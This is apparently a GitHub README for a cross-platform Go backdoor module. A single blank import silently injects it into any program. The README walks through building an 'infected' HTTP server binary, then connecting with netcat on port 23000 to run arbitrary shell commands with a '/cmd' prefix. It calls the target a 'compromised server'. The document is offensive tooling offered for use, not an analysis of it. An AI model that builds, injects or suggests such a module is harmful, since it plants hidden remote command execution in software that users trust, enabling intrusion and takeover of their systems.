README
¶
backdoorGolang
Backdoor with Golang (Cross-Plateform)
_/!\ Work in progress, not a stable release /!_
Main goal
Forked from pilebones/backdoorGolang. Changed from CLI interface to a golang module. User should just import the module:
import _ "github.com/guimagalhaes/backdoorGolang/core/socket/server"
A fork of my own project named : "pilebones/backdoorBash" (see: https://github.com/pilebones/backdoorBash) but instead of using Bash as programming language (Unix-like only) this new one will work on Windows too by using a Golang API (cross-plateform) developed from scratch (as much as possible).
Requirements
- Golang SDK : Compiler and tools for the Go programming language from Google (see: https://golang.org/doc/install)
From Arch Linux :
(sudo) pacman -S community/go
From Debian :
(sudo) apt-get install golang-go
Installation
cd $GOPATH
go get github.com/guimagalhaes/backdoorGolang@v0.2.2
Run test example
Go to tests/simple_example, remove the inject_backdoor.go file and build it:
go build
Execute the binary './simple_example' and see that only a simple HTTP server is available:
curl http://localhost:2020/hello
Restore the inject_backdoor.go file and build it again:
git checkout inject_backdoor.go
go build
Execute the new binary ./simple_example and see that besides the simple HTTP server, the backdoor is now injected to the binary. Follow the next session to see how to test the infected version of the binary.
Client
Use netcat (It is used the 'localhost:23000' address hardcoded for now):
netcat localhost 23000
Then execute a sequence of shell commands using '/cmd ' as prefix:
/cmd ls -l
/cmd ss -natp
...
To exit the netcat session:
/quit
<enter>
<enter>
Instructions
Each message submit by client is sent to all backdoor's clients like a chat. However, an alone chat's feature is useless, there are a set of instructions allowed by all clients which have different behavior for taking advantage of the compromised server.
Quit Instruction
This instruction permit to logout the current user
/quit
/exit
Example :
echo "/quit"|netcat localhost 1234
Command Instruction
This instruction permit to execute shell command from server. (OS supported : Linux, Windows)
/cmd <shell-command>
Example :
echo "/cmd ls -l"|netcat localhost 1234
Directories